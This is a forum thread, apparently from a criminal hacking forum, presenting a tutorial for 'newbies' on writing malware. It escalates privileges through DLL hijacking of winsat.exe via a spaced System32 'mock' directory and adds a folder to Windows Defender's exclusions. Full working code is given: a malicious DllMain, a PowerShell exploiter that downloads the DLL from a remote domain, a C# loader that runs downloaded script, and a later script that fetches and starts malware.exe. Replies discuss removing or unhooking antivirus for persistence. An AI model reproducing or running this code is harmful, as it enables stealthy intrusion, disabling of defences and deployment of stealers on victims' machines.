• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья exploit lpe and bypass Windows Defender

Th30C0der

ripper
КИДАЛА
Регистрация
14.08.2022
Сообщения
145
Реакции
36
Пожалуйста, обратите внимание, что пользователь заблокирован
Hi xss.pro users ,

The Tutorial Goal is to get experience in Writing malwares and red teaming tools with programming languages , and will be for newbies guy who wanted to Raise their skills , also if you are professional you welcome

This tutorial will be translated to russian for people can’t read english .

  • Requirements .
  1. - Visual studio
  2. - basic c++
  3. - basic powershell knowledge
  4. - basic c#
This tutorial will be about dll hijacking will exploit winsat.exe

- First of all How does winsat work ?

The winsat by default when start it starts as Administrator and first thing they did after starting is Loading the required dlls to continue running without these dlls winsat will never run ! so here we take advantage by replacing the original dlls by our malicious dlls and when the Winsat run the dll also will run as Administrator so we can use the dll to lunch our target process as Administrator , for example we can lunch powershell.exe and add commends to add a specific directory to Exclusions list on windows defender ,

Then We can download our malicious exe to the directory that we have added to Exclusions list what ever is , cobalt strike , or stealer etc .


- Now lets get into coding section .?

Winsat is located in “c:\windows\system32\winsat.exe” !!! . did you guess the problem ? yes its located in “c:\windows\system32\” thats mean if we want to replace the original dll we can’t because it will require Administrator privileges ,and here come the MOCK Directory will fixes the problem .
f2PLuNcHnWVslElt_O5EQJKPMJlO_njgfeb-WuuoZt4OnX035HoC5rqJpzJ34lMpu9uidfpdJKF87CqHe-EEIzoacPybkyJUbqybvhYR68KDZ_xZ2Zjd0saz7rNQv7ebu8SCkw3SRfy3ElwSyvCCW_PudkWAy99GQD2dCflBjG9TM4gNUrvTIOxbtCXhjA


What is mock directory ?

Mock directory is a directory that includes a spaces between slashes \

Normal directory : c:\windows\system32\winsat.exe
Mock directory : c:\windows \system32\winsat.exe

To create a mock directory using powershell will use this New-Item commend .
New-Item '\\?\C:\Windows \System32' -ItemType Directory .
For this point is all good and i guess now you understand how its work .

Now download the attachment and extract the zip file : password is : xss.pro .

Open the visual studio project and go to version this is the dll name we will infecte it .
nfea_h9ZlGsjAJt4YB9bR2uCC68UaPCKhDqJce0buNCt0b0wMxpbTFG0fSFjcGU7N40P0ihulDxrAcyCPibR2sNa7PF_i4t3JUcLm3m3lzwbUo-C5CHvpQsFNJNzldvEzrAQcjmjrlI19vCpGmjlHVJA_7mHIdLwiitGFYP-P28YATeZnUOghASJMpNL9Q

you cant a normal dll project from visual studio because the winsat will require a specific signature .

Now here we go in entry point DllMain will put our malicious code .
The goal from this dll is to lunch a elevated powershell with Administrator privileges then add a specific directory to Windows defender Exclusions list .

And this can be done by using WinExec function ! I know what you thinking why not use CreateProcess instead of WinExec For some reason it won’t work for me but you still can try.
WinExec it takes to argument first the commend line , and the second argument is for show option to show the powershell set last argument to 1 and to make it hidden set the last argument to 0 .


Ok and the powershell commend .
C++:
cmd.exe /c powershell.exe -windowstyle hidden -NoProfile -ExecutionPolicy bypass -Command  $cankja = [System.Environment]::GetFolderPath('CommonApplicationData');$fcankja= $cankja; Add-MpPreference -ExclusionPath $fcankja;

Let me explain the powershell code for you .

[System.Environment]::GetFolderPath('CommonApplicationData');
It gets the “c:\programdata” Directory
Add-MpPreference -ExclusionPath $folderpath;
It add the programdata directory to Windows defender Exclusions list so all files in same directory Windows defender will skip it while scanning , you can change this code to your code maybe disable windows defender using code bellow .

Enter:Set-MpPreference -DisableRealtimeMonitoring $true

Final code looks like .
C++:
#include "pch.h"

#include "prxdll.h"



BOOL APIENTRY DllMain(

    const HINSTANCE instance,

    const DWORD reason,

    const PVOID reserved)

{

    switch ( reason ) {

    case DLL_PROCESS_ATTACH:





        WinExec("cmd.exe /c powershell.exe -windowstyle hidden -NoProfile -ExecutionPolicy bypass -Command  $cankja = [System.Environment]::GetFolderPath('CommonApplicationData');$fcankja= $cankja; Add-MpPreference -ExclusionPath $fcankja; ", 0);



        DisableThreadLibraryCalls(instance);

        return prx_attach(instance);

    case DLL_PROCESS_DETACH:

        prx_detach(reserved);

        break;

    }

    return TRUE;

}


Now compile the project and pay attention the architecture should be the same as target version .

And now lets get into a powershell section ?

This script will be the exploiter , wich will create new mock directory and then copy winsat.exe from original directory and save it in the new directory and finally will download the dll and start the winsat.exe process in hidden mode , but in this code i add optional step before the exploit i will check the installed AV if only WD is installed if there other AV installed it will skip the exploit .

Don’t forget the main goal is to get the Administrator privileges .

C#:
$computername=$env:computername;

$AntiVirusProducts = Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct  -ComputerName $computername;

$detected = 0;

foreach($AntiVirusProduct in $AntiVirusProducts)

{

    if($AntiVirusProduct.displayName -ne "Windows Defender")

    {   

        # no exploit normal run

        $detected = 1;

    }

}



if($detected -eq 0)

{

    New-Item '\\?\C:\Windows \System32' -ItemType Directory

    Set-Location -Path '\\?\C:\Windows \System32'

    copy C:\Windows\System32\WinSAT.exe "C:\windows \System32\winSAT.exe"

    Invoke-WebRequest -Uri 'http://th30c0der.com/versionx64.dll' -OutFile 'version.dll'

    Start-Process -WindowStyle hidden -Filepath 'C:\windows \System32\winSAT.exe'

}

Change th30c0der.com to your domain or ip it can be localhost .

Now we finished every thing but how can we deliver this powershell script !? for me i will use .net 4.8 and i will use powershell without powershell technique to Execute the powershell script without using powershell.exe , this will bypass restriction if target system blocked powershell.exe on the system

To create ps1 loader project create new c# windows forms app
E-c7FrZf48EvGtsjxmh-DCv2fw9yWKcRh7SJsS7M7NNfoeF9t4LnOOK3IfLw9edIUrGTXR5XbjNTVc7pKet1qWj0szzYK3H_gFsUojL1S4HYQQZU-zNEFmpgnK48NCd3k3PorwNxWbbhSGtGwDL3DivP-TpZo0mq3bn8S10Li7a9FNR9qqMObzz6S1HCdg



And choose 4.8 .net version
ho7F2McEf3EyFhFsBwE4GKHLQfZH24sqHjHI9M0mJb3GWkXFw9wG3uZnThBv2ufQfWpYrtKn1O3a3DQ7qcX3P8Ve2L6YL8lCfuOtkbVpXs_xz9hgjNJmrNvQVMzEX3EZOjEzpyKFQAdEtuR27pOBcGBo-UNVtmV85emLGVUcTeConjEbUMlOGuMVX3CGVQ


Got to manage nuget packages
Mrcnmm1GJVifQolfjwi4ytZ-dzpKYUtiD7QMynmWeurAUn7N5AxFiXbY88brqKcQ1GpgVO-kCkS_X-xxnY0ew0CjuAGeB0KaNtpYiQfUXVnhDAnWxvGJeyrA3saw2qGB6Y3wdJS2v-QCH3xyu0EzBp9XuzBkVYNv0yqFVDQ9Xov8SqBOmwCGvNFzdN6vQQ


And search for powershell cake package this will download System.Management.Automation.dll .

Now open Program.cs
And remove the default lines that will show the gui window .

The code will be like this
C#:
using System;

using System.Management.Automation.Runspaces;



namespace PS1Loader

{

    internal static class Program

    {



 

        static void Main()

        {



        }

    }

}


Now lets initialize the configuration runspace and add our powershell commend and invoke it

And the final code will be like this

C#:
using System;

using System.Management.Automation.Runspaces;



namespace PS1Loader

{

    internal static class Program

    {



 

        static void Main()

        {

            Runspace runspaceKhamisla = RunspaceFactory.CreateRunspace(RunspaceConfiguration.Create());

            runspaceKhamisla.Open();

            Pipeline pipeline = runspaceKhamisla.CreatePipeline();

            pipeline.Commands.AddScript("$ps1url = '';iex(New-Object Net.WebClient).DownloadString($ps1url)");

            pipeline.Invoke();

        }

    }

}


Please make sure you change the var names and namespace before you compile it

All done we finish here see you in new tutorial .

POC Video.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
bro where are attachment files ? pls can you attach here ?
It disapeard once it finish upload i will upload it to cloud server
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Windows Defender can be simply uninstalled from the system or stopped its services and drivers.
Here we are talking about stealthy so we add our file to exclusions list in Windows defender and stay hidden if we disable the windows defender this will notify the user and maybe he make an action like install another AV/EDR , so that's why choose this step to not notify the user with our action
 
Here we are talking about stealthy so we add our file to exclusions list in Windows defender and stay hidden if we disable the windows defender this will notify the user and maybe he make an action like install another AV/EDR , so that's why choose this step to not notify the user with our action
If you uninstall the antivirus, it will not have time to notify anyone)
In any case, thanks for the article.)
P.S. Everyone has a different approach to problem solving.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
If you uninstall the antivirus, it will not have time to notify anyone)
In any case, thanks for the article.)
P.S. Everyone has a different approach to problem solving.
You welcome yes problem solving has different ways , i choose the way will keep me as long as possible on target system
 
You welcome yes problem solving has different ways , i choose the way will keep me as long as possible on target system
I'll say more. If initially the antivirus did not detect your program by signature, proactive protection can be suppressed by removing antivirus interceptors in their native APIs within the process itself. And stay logged in as long as you want. Thinking out loud)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Some people asked me if they wan't to download their malware after exploiting lpe how they can do it , insted of answering the question in private i decide to answer here in public better than answering same question 10 times in private ,

C#:
$var1 = [System.Environment]::GetFolderPath("CommonApplicationData"); # generate random file name
$var2 = -join((65..90) + (97..122) | Get-Random -Count 6 | % {[char]$_}); # generate random file name
$var3 = $var1 + "/" + $var2 + ".exe"; # join random file name with execluded path + .exe

$var4 = "http://domain/malware.exe";
$var9 = New-Object Net.WebClient;
$var10 = $var9.DownloadFile($var4,$var3); # download file to path 
Start-Process -FilePath $var3; # start the encrypted malware
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх